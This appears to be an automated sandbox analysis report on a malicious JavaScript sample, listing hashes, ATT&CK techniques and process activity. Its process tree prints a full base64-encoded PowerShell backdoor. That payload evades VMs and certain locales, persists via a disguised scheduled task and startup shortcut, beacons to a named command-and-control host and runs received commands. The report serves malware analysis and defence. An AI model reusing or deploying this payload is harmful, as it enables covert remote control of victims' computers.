4f84400506a99ee8b0b7d0ea00fd66d5cb575e8bf768fc6bcdbee5592e310fca

General

Target

3e9c6a8e6988adbb16ef8715c22cdd58_JaffaCakes118.js
Size

20KB
MD5

3e9c6a8e6988adbb16ef8715c22cdd58
SHA1

c959d76d0cbe839ed6325796b1b92e2a62f5e5a2
SHA256

4f84400506a99ee8b0b7d0ea00fd66d5cb575e8bf768fc6bcdbee5592e310fca
SHA512

1a688465a5161ba5e49db747b07ecffd3f6d42abaa4befd3eaa02755e2bf34c90a8dcf0ecb4054a270507706cdd86b17ed6bf1763406434588fab35c11e0aeb7
SSDEEP

384:3wjKMDdC+3HjH1ciPOlHS4mLasODgZjNfqLhIdlWmpzOTkmIhkn73jbIYmYTc:3mKCDVu+msdFDdlfpzUkmRfbIh

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wws.chasingredford.com/

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsIndexingService.lnk	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2184	powershell.exe
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 2184	2992	wscript.exe	82
PID 2992 wrote to memory of 2184	2992	wscript.exe	82
PID 2184 wrote to memory of 500	2184	powershell.exe	87
PID 2184 wrote to memory of 500	2184	powershell.exe	87
PID 2184 wrote to memory of 2928	2184	powershell.exe	89
PID 2184 wrote to memory of 2928	2184	powershell.exe	89
PID 2184 wrote to memory of 4672	2184	powershell.exe	90
PID 2184 wrote to memory of 4672	2184	powershell.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3e9c6a8e6988adbb16ef8715c22cdd58_JaffaCakes118.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'aWYoKChHZXQtVUlDdWx0dXJlKS5OYW1lIC1tYXRjaCAiQ058Uk98UlV8VUF8QlkiKSAtb3IgKChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTW9kZWwpLk1vZGVsIC1tYXRjaCAiVmlydHVhbEJveHxWTXdhcmV8S1ZNIikpeyBleGl0O307CiR2Y2Z4YmFhZnhnID0gJXdvcmtfZGlyJTsKaWYgKC1ub3QgKFRlc3QtUGF0aCAkdmNmeGJhYWZ4ZykpIHsgbWQgJHZjZnhiYWFmeGc7IH0KJGJ2ZHlhdWYgPSAkZW52OlBVQkxJQyArICJcTGlicmFyaWVzXFdpbmRvd3NJbmRleGluZ1NlcnZpY2UuanMiOwokYWV3ZGdjdnMgPSAkZW52OnRlbXAgKyAiXFhBRlg5MTEuMS50bXAiOwokaGN1ZWl2YnhkICA9IEpvaW4tUGF0aCAkdmNmeGJhYWZ4ZyAidGh1bWJjYWNoZV8zMy5kYiI7CiRkaXRqYnpoZXYgID0gOTExLjE7CiRteXVybHBvc3QgPSAkZmFsc2U7CiRkYnl2YWlqID0gInciOwoKZnVuY3Rpb24gaWFtd29ya3sgc2MgLVBhdGggJGFld2RnY3ZzIC1WYWx1ZSAoICRwaWQsIFtzdHJpbmddKEdldC1EYXRlKSwgJGRpdGpiemhldiwgJG15dXJscG9zdCwgJGVzenl1emNlIC1qb2luICcsJyApOyB9OwpmdW5jdGlvbiBkY2d1dmV3aSggJGd4Y3lnZHVpdmUgKXsKICBpZiggJGd4Y3lnZHVpdmUgLW1hdGNoICdPdXRPZk1lbW9yeUV4Y2VwdGlvbicgKXsKICAgIHJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7CiAgICBnZXQtcHJvY2VzcyBwb3dlcnNoZWxsKiB8IHN0b3AtcHJvY2VzczsKICAgIGV4aXQ7CiAgfTsKfQoKZnVuY3Rpb24gc2VuZHBvc3QoICRneGN5Z2R1aXZlICl7CiAgaWYoICEkbXl1cmxwb3N0ICl7IHJldHVybiAkZmFsc2U7IH07CiAgJGN6aWRhaWNoID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsKICAkY3ppZGFpY2guQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7CiAgJGN6aWRhaWNoLkhlYWRlcnMuQWRkKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgJGN6aWRhaWNoLkVuY29kaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGODsKICB0cnl7CiAgICAkemRjaGV4enh4YiA9ICRjemlkYWljaC5VcGxvYWRTdHJpbmcoICRteXVybHBvc3QsICJsPSIrW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICggInY9JGRpdGpiemhldiZndWlkPSRkanp6d3p2dmJpJiIgKyAkZ3hjeWdkdWl2ZSApICkgKSApOwogICAgJHpkY2hleHp4eGIgPSBbc3RyaW5nXVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCAkemRjaGV4enh4YiApICk7CiAgICBpZiggISRkYnl2YWlqICl7IHJldHVybiAkZmFsc2U7IH0KICAgIGlmKCAkZXN6eXV6Y2UgLWVxICR6ZGNoZXh6eHhiLlN1YnN0cmluZygwLDE2KSApewogICAgICByZXR1cm4gJHpkY2hleHp4eGIuU3Vic3RyaW5nKDE2LCR6ZGNoZXh6eHhiLmxlbmd0aC0xNikgOwogICAgfWVsc2V7CiAgICAgICRkYnl2YWlqID0gJGZhbHNlOwogICAgICBzZW5kcG9zdCAoImVycm9yPSIgKyBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcyggJHpkY2hleHp4eGIgKSApICk7CiAgICB9CiAgfWNhdGNoewogICAgZGNndXZld2kgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7CiAgICAkZGJ5dmFpaiA9ICRmYWxzZTsKICAgICRjemlkYWljaC5VcGxvYWRTdHJpbmcoICRteXVybHBvc3QsICJsPSIrW0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICggInY9JGRpdGpiemhldiZndWlkPSRkanp6d3p2dmJpJmVycm9yPXNlbmRwb3N0OiIgKyAkbXl1cmxwb3N0KyI6IiskemRjaGV4enh4YiArIjoiKyAkXy5FeGNlcHRpb24uTWVzc2FnZSApICkgKSApOwogIH07CiAgcmV0dXJuICRmYWxzZTsKfTsKCmZ1bmN0aW9uIGpjeWNnanUoICRneGN5Z2R1aXZlICl7CiAgJGNod2R2aXVmYSA9ICJodHRwOi8vd3dzLmNoYXNpbmdyZWRmb3JkLmNvbS8iOwogICJkZmIiLCI5M2EiLCIyNWMiLCI4ZjkiLCJnaDciIHwgJXsgJGNod2R2aXVmYSArPSAiLCIrImh0dHA6Ly8iKyAoIFtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoICRfKyAkKEdldC1EYXRlIC1VRm9ybWF0ICIleSVtJVYiKSApICkudG9Mb3dlcigpICkgKyIudG9wLyI7IH07CiAgJGNod2R2aXVmYS5zcGxpdCgiLCIpIHwgJXsKICAgIGlmKCAhJG15dXJscG9zdCApewogICAgICAkbXl1cmxwb3N0ID0gJF87CiAgICAgIGlmKCAhKHNlbmRwb3N0ICgkZ3hjeWdkdWl2ZSArICImZG9tZW49JG15dXJscG9zdCIgKSkgKXsgJG15dXJscG9zdCA9ICRmYWxzZTsgfTsKICAgICAgU3RhcnQtU2xlZXAgLXMgNTsKICAgIH0KICB9OwogIHJldHVybiAkbXl1cmxwb3N0Owp9OwoKaWYgKCBUZXN0LVBhdGggJGFld2RnY3ZzICl7CiAgaWYgKCAoICggTkVXLVRJTUVTUEFOIC1TdGFydCAoKEdldC1DaGlsZEl0ZW0gJGFld2RnY3ZzICkuQ3JlYXRpb25UaW1lKSAtRW5kIChHZXQtRGF0ZSkpLk1pbnV0ZXMgKSAtZ3QgMTUgKXsKICAgIHRyeXsgc3RvcC1wcm9jZXNzIC1pZCAoIChnYyAkYWV3ZGdjdnMpLnNwbGl0KCIsIilbMF0gKTsgfWNhdGNoe307CiAgICB0cnl7IHJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7IH1jYXRjaHt9OwogIH1lbHNlewogICAgZXhpdDsKICB9Owp9OwoKJGhjdHhlZHRkdXkgPSAib3M9Iitbc3RyaW5nXSRQU1ZlcnNpb25UYWJsZS5CdWlsZFZlcnNpb24rIiZwc3Zlcj0iKyggKEdldC1Ib3N0KS5WZXJzaW9uICkuTWFqb3I7CmlmICggVGVzdC1QYXRoICRoY3VlaXZieGQgKXsKICAkZGp6end6dnZiaSwgJGVzenl1emNlID0gKGdldC1jb250ZW50ICRoY3VlaXZieGQpLnNwbGl0KCcsJyk7CiAgaWYoICggJGVzenl1emNlLmxlbmd0aCAtbmUgMTYgKSAtb3IgKCAkZGp6end6dnZiaS5sZW5ndGggLWx0IDIxICkgKXsKICAgIHJpIC1QYXRoICRoY3VlaXZieGQsJGFld2RnY3ZzIC1Gb3JjZTsKICAgIHRyeXsgZ2V0LXByb2Nlc3MgcG93ZXJzaGVsbCogfCBzdG9wLXByb2Nlc3MgfWNhdGNoe307CiAgICBleGl0OwogIH0KfWVsc2V7CiAgJGVzenl1emNlID0gKCBbZ3VpZF06Ok5ld0d1aWQoKSAtcmVwbGFjZSAnLScsJycgKS5TdWJzdHJpbmcoMCwxNik7CiAgc2MgLVBhdGggJGhjdWVpdmJ4ZCAtVmFsdWUgKCAoIChHZXQtV21pT2JqZWN0IC1jbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbSAtUHJvcGVydHkgTmFtZSkuTmFtZS50cmltKCkgKyAiXyIgKyBbZ3VpZF06Ok5ld0d1aWQoKS50b1N0cmluZygpLnJlcGxhY2UoJy0nLCAnJykuU3Vic3RyaW5nKDAsMjApICksICRlc3p5dXpjZSAgLWpvaW4gJywnICk7CiAgZ2kgJGhjdWVpdmJ4ZCAtRm9yY2UgfCAgJXsgJF8uQXR0cmlidXRlcyA9ICJIaWRkZW4iIH07CiAgJGRqenp3enZ2YmksICRlc3p5dXpjZSA9IChnZXQtY29udGVudCAkaGN1ZWl2YnhkKS50cmltKCkuc3BsaXQoJywnKTsKICAkaGN0eGVkdGR1eSArPSAiJnNzaWQ9JGVzenl1emNlJiI7Cn0KdHJ5eyAKICB0cnl7IHNjaHRhc2tzLmV4ZSAvZGVsZXRlIC9UTiAiV2luZG93c0luZGV4aW5nU2VydmljZSIgL2YgfWNhdGNoe30KICB0cnl7IHNjaHRhc2tzLmV4ZSAvZGVsZXRlIC9UTiAiV2luZG93cyBJbmRleGluZyBTZXJ2aWNlIiAvZiB9Y2F0Y2h7fQogICR0d2JqZ3V5d2ogPSAnd3NjcmlwdC5leGUgLy9ub2xvZ28gIicrJGJ2ZHlhdWYrJyIgPk5VTCAyPiYxJzsKICBzY2h0YXNrcy5leGUgL2NyZWF0ZSAvVE4gIldpbmRvd3NJbmRleGluZ1NlcnZpY2UiIC9zYyBEQUlMWSAvc3QgMDA6MDAgL2YgL1JJIDEwIC9kdSAyMzo1OSAvVFIgJHR3YmpndXl3ajsgCn1jYXRjaHt9OwoKdHJ5ewogICRqaHpjdmZ0ancgPSBbRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdTdGFydHVwJykgKyAnXFdpbmRvd3NJbmRleGluZ1NlcnZpY2UubG5rJzsKICBpZiggLW5vdCAoIFRlc3QtUGF0aCAkamh6Y3ZmdGp3ICkgKXsKICAgICRodWFqdWR4eGdmID0gTmV3LU9iamVjdCAtQ29tT2JqZWN0ICgnV1NjcmlwdC5TaGVsbCcpOwogICAgJGh4eXl5aXcgPSAkaHVhanVkeHhnZi5DcmVhdGVTaG9ydGN1dCggJGpoemN2ZnRqdyAgKTsKICAgICRoeHl5eWl3LkFyZ3VtZW50cz0gJy8vbm9sb2dvICInKyRidmR5YXVmKyciID5OVUwgMj4mMSc7CiAgICAkaHh5eXlpdy5UYXJnZXRQYXRoID0gJ3dzY3JpcHQuZXhlJzsKICAgICRoeHl5eWl3LldvcmtpbmdEaXJlY3RvcnkgPSAkdmNmeGJhYWZ4ZzsKICAgICRoeHl5eWl3LldpbmRvd1N0eWxlID0gMTsKICAgICRoeHl5eWl3LkRlc2NyaXB0aW9uID0gJ1dpbmRvd3MgSW5kZXhpbmcgU2VydmljZSc7CiAgICAkaHh5eXlpdy5TYXZlKCk7CiAgfQp9Y2F0Y2h7fTsKCiRteXVybHBvc3QgPSBqY3ljZ2p1ICRoY3R4ZWR0ZHV5Owp3aGlsZSggJGRieXZhaWogKXsKICBpYW13b3JrOwogIHRyeXsKICAgIGlmKCAkZGJ5dmFpaiAtYW5kICgkZGJ5dmFpai5sZW5ndGggLWd0IDMwKSAgKXsKICAgICAgaWV4IC1Db21tYW5kICRkYnl2YWlqOwogICAgfTsKICB9Y2F0Y2h7CiAgICBkY2d1dmV3aSAkXy5FeGNlcHRpb24uTWVzc2FnZTsKICAgIHNlbmRwb3N0ICgiZXJyb3I9aWV4OiIgKyAkZGJ5dmFpaiArIjoiKyAkbXl1cmxwb3N0ICsiOiIgKyAkXy5FeGNlcHRpb24uTWVzc2FnZSApOwogIH07CiAgU3RhcnQtU2xlZXAgLXMgMjgwOwogICRkYnl2YWlqID0gc2VuZHBvc3QgIiI7Cn07CnJpIC1QYXRoICRhZXdkZ2N2cyAtRm9yY2U7Cg==' ) );iex $a;
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /TN WindowsIndexingService /f
    3⤵
    PID:500
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /TN "Windows Indexing Service" /f
    3⤵
    PID:2928
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /TN WindowsIndexingService /sc DAILY /st 00:00 /f /RI 10 /du 23:59 /TR "wscript.exe //nologo "C:\Users\Public\Libraries\WindowsIndexingService.js" >NUL 2>&1"
    3⤵
    - Creates scheduled task(s)
    PID:4672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jelxseaz.uj3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2184-0-0x00007FF8010B3000-0x00007FF8010B5000-memory.dmp

Filesize
8KB

Download
memory/2184-1-0x0000021E62390000-0x0000021E623B2000-memory.dmp

Filesize
136KB

Download
memory/2184-11-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-12-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-13-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-14-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-16-0x00007FF8010B3000-0x00007FF8010B5000-memory.dmp

Filesize
8KB

Download
memory/2184-17-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-18-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download
memory/2184-19-0x00007FF8010B0000-0x00007FF801B71000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads